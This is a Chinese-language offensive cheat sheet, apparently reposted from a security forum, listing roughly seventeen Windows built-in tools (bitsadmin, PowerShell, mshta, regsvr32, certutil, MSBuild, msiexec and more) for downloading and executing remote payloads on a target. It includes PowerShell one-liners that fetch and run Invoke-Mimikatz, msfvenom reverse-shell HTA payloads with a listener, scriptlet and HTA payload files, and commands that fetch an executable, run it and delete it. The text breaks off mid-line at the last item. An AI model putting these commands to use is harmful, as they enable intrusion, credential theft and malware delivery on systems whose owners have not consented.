1. 来自互联网,https://xz.aliyun.com/t/1654

1.bitsadmin命令(只能命令下载到指定路径上,win7以上)

  1. bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
  2. bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

例子:
image.png
生成的脚本如下所示:

  1. cmd.exe /c bitsadmin /transfer 5cc3 http://192.168.235.130:80/b %APPDATA%\5cc3.exe&%APPDATA%\5cc3.exe&del%APPDATA%\5cc3.exe

在目标机器上执行该脚本
image.png
上线
image.png

2.powershell命名下载执行(win7以上)

  1. powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz
  2. powershell -exec bypass -f \\webdavserver\folder\payload.ps1
  3. powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe’,’C:\111111111111111.exe')
  4. powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

例子:
image.png
生成的脚本如下

  1. powershell.exe -nop -w hidden -c "IEX((new-objectnet.webclient).downloadstring('http://192.168.235.130:80/a'))"

直接在目标机器上执行该脚本
image.png
上线
image.png

3.mshta命令下载执行

  1. mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
  2. mshta http://webserver/payload.hta
  3. mshta \\webdavserver\folder\payload.hta

payload.hta

  1. <HTML>
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <HEAD>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "calc.exe"
  9. self.close
  10. </script>
  11. <body>
  12. demo
  13. </body>
  14. </HEAD>
  15. </HTML>

案例:
a.生成shellcode

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 lport=1234 -f hta-psh -o 1234.hta

image.png
b.监听

  1. handler -H 192.168.1.4 -P 1234 -p windows/meterpreter/reverse_tcp

image.png
c.本地执行上线
直接运行就可以上线了
image.png
d.远程加载上线
远程加载的话直接使用mshta加载就可以了

  1. mshta.exe http://x.x.x.x/x.hta

image.png

4.rundll32命令下载执行

  1. rundll32 \\webdavserver\folder\payload.dll,entrypoint
  2. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

案例:https://www.yuque.com/feiniao112/fknpgi/ad8bku

5.net中的regasm命令下载执行

  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6.cmd的远程命令下载:

  1. cmd.exe /k < \webdavserver\folder\batchfile.txt

7.regsvr32命令下载执行

  1. regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
  2. regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
  3. regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll

js.png

  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4. progid="ShortJSRAT"
  5. classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6. <!-- Learn from Casey Smith @subTee -->
  7. <script language="JScript">
  8. <![CDATA[
  9. ps = "cmd.exe /c calc.exe";
  10. new ActiveXObject("WScript.Shell").Run(ps,0,true);
  11. ]]>
  12. </script>
  13. </registration>
  14. </scriptlet>

8.certutil命令下载执行

  1. certutil -urlcache -split -f http://webserver/payload payload
  2. certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
  3. certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
  4. certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9.net中的MSBulid命令下载执行

  1. cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf命令下载执行

  1. odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11.cscript脚本远程命令下载执行

  1. cscript //E:jscript \\webdavserver\folder\payload.txt

downfile.vbs:

  1. ' Set your settings
  2. strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
  3. strHDLocation = "c:\logo.jpg"
  4. ' Fetch the file
  5. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  6. objXMLHTTP.open "GET", strFileURL, false
  7. objXMLHTTP.send()
  8. If objXMLHTTP.Status = 200 Then
  9. Set objADOStream = CreateObject("ADODB.Stream")
  10. objADOStream.Open
  11. objADOStream.Type = 1 'adTypeBinary
  12. objADOStream.Write objXMLHTTP.ResponseBody
  13. objADOStream.Position = 0'Set the stream position to the start
  14. Set objFSO = Createobject("Scripting.FileSystemObject")
  15. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  16. Set objFSO = Nothing
  17. objADOStream.SaveToFile strHDLocation
  18. objADOStream.Close
  19. Set objADOStream = Nothing
  20. End if
  21. Set objXMLHTTP = Nothing

将以上保存为downfile.vbs
输入命令:cscript downfile.vbs

12.pubprn.vbs下载执行命令

  1. cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

13.windows自带命令copy

  1. copy \x.x.x.x\xx\poc.exe
  2. xcopy d:\test.exe \x.x.x.x\test.exe

14. IEXPLORE.EXE命令下载执行(需要IE存在oday)

  1. "C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

15.IEEXC命令下载执行

  1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off
  2. C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec <http://site.com/files/test64.exe>

参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec命令下载执行

  1. msiexec /q /i <http://site.com/payloads/calc.png>

17.下载命令执行项目GreatSCT

  1. <https://github.com/GreatSCT